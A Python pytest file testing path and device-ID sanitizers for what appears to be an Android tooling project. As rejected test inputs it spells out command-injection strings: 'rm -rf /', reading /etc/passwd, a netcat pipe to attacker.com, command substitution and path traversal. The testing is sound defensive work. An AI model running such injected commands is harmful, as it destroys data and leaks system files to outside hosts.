""" Tests for security utilities - input sanitization and validation. """ import os import pytest from src.utils.security_utils import ( sanitize_path_component, sanitize_android_path, sanitize_local_path, validate_device_id, ) class TestSanitizePathComponent: """Tests for sanitize_path_component function.""" def test_valid_component(self): """Test that valid path components are accepted.""" assert sanitize_path_component("file.txt") == "file.txt" assert sanitize_path_component("folder") == "folder" assert sanitize_path_component("my_file-2.txt") == "my_file-2.txt" def test_empty_component(self): """Test that empty components are rejected.""" with pytest.raises(ValueError, match="Path component cannot be empty"): sanitize_path_component("") def test_dangerous_chars(self): """Test that dangerous characters are rejected.""" dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')'] for char in dangerous_chars: with pytest.raises(ValueError, match="dangerous character"): sanitize_path_component(f"file{char}name.txt") def test_command_substitution(self): """Test that command substitution patterns are rejected.""" with pytest.raises(ValueError, match="dangerous character"): sanitize_path_component("file$(whoami).txt") with pytest.raises(ValueError, match="dangerous character"): sanitize_path_component("file${USER}.txt") class TestSanitizeAndroidPath: """Tests for sanitize_android_path function.""" def test_valid_absolute_path(self): """Test that valid absolute paths are accepted.""" assert sanitize_android_path("/sdcard/Download") == "/sdcard/Download" assert sanitize_android_path("/data/local/tmp") == "/data/local/tmp" def test_valid_relative_path(self): """Test that valid relative paths are accepted.""" assert sanitize_android_path("./folder/file.txt") == "./folder/file.txt" def test_path_with_spaces(self): """Test that paths with spaces are allowed.""" assert sanitize_android_path("/sdcard/My Photos/vacation.jpg") == "/sdcard/My Photos/vacation.jpg" assert sanitize_android_path("/sdcard/DCIM/Camera Roll/IMG_001.jpg") == "/sdcard/DCIM/Camera Roll/IMG_001.jpg" def test_empty_path(self): """Test that empty paths are rejected.""" with pytest.raises(ValueError, match="Path cannot be empty"): sanitize_android_path("") def test_null_byte(self): """Test that null bytes are rejected.""" with pytest.raises(ValueError, match="null byte"): sanitize_android_path("/sdcard/file\x00.txt") def test_command_injection_semicolon(self): """Test that semicolon command injection is blocked.""" with pytest.raises(ValueError, match="dangerous pattern"): sanitize_android_path("/sdcard/file; rm -rf /") def test_command_injection_pipe(self): """Test that pipe command injection is blocked.""" with pytest.raises(ValueError, match="dangerous pattern"): sanitize_android_path("/sdcard/file | cat /etc/passwd") def test_command_injection_ampersand(self): """Test that ampersand command injection is blocked.""" with pytest.raises(ValueError, match="dangerous pattern"): sanitize_android_path("/sdcard/file && malicious") def test_command_substitution(self): """Test that command substitution is blocked.""" with pytest.raises(ValueError, match="dangerous pattern"): sanitize_android_path("/sdcard/$(whoami)") with pytest.raises(ValueError, match="dangerous pattern"): sanitize_android_path("/sdcard/${USER}") def test_backtick_substitution(self): """Test that backtick command substitution is blocked.""" with pytest.raises(ValueError, match="dangerous pattern"): sanitize_android_path("/sdcard/`whoami`") class TestSanitizeLocalPath: """Tests for sanitize_local_path function.""" def test_valid_absolute_path(self): """Test that valid absolute paths are normalized.""" result = sanitize_local_path("/tmp/test") assert os.path.isabs(result) def test_empty_path(self): """Test that empty paths are rejected.""" with pytest.raises(ValueError, match="Path cannot be empty"): sanitize_local_path("") def test_null_byte(self): """Test that null bytes are rejected.""" with pytest.raises(ValueError, match="null byte"): sanitize_local_path("/tmp/file\x00.txt") def test_path_traversal_with_base_dir(self): """Test that path traversal outside base_dir is blocked.""" base = "/tmp/safe" with pytest.raises(ValueError, match="outside base directory"): sanitize_local_path("/tmp/unsafe", base_dir=base) def test_valid_path_within_base_dir(self): """Test that paths within base_dir are accepted.""" base = "/tmp/safe" result = sanitize_local_path("/tmp/safe/subdir", base_dir=base) # result is an absolute path, so we need to compare absolute versions base_abs = os.path.abspath(base) assert result.startswith(base_abs) def test_path_normalization(self): """Test that paths with .. are normalized.""" result = sanitize_local_path("/tmp/test/../other") assert ".." not in result class TestValidateDeviceId: """Tests for validate_device_id function.""" def test_valid_device_id(self): """Test that valid device IDs are accepted.""" assert validate_device_id("ABC123") == "ABC123" assert validate_device_id("192.168.1.1:5555") == "192.168.1.1:5555" assert validate_device_id("emulator-5554") == "emulator-5554" def test_empty_device_id(self): """Test that empty device IDs are rejected.""" with pytest.raises(ValueError, match="Device ID cannot be empty"): validate_device_id("") def test_invalid_characters(self): """Test that invalid characters are rejected.""" dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', ' ', '>', '<'] for char in dangerous_chars: with pytest.raises(ValueError): validate_device_id(f"device{char}123") class TestSecurityIntegration: """Integration tests for security utilities.""" def test_prevent_command_injection_in_path(self): """Test that common command injection attempts are blocked.""" malicious_paths = [ "/sdcard/file; rm -rf /", "/sdcard/file && cat /etc/passwd", "/sdcard/file | nc attacker.com 1234", "/sdcard/$(malicious_command)", "/sdcard/`whoami`", "/sdcard/file\nmalicious_command", ] for path in malicious_paths: with pytest.raises(ValueError): sanitize_android_path(path) def test_prevent_path_traversal(self): """Test that path traversal attempts are detected.""" base = "/tmp/restricted" with pytest.raises(ValueError): sanitize_local_path("/etc/passwd", base_dir=base)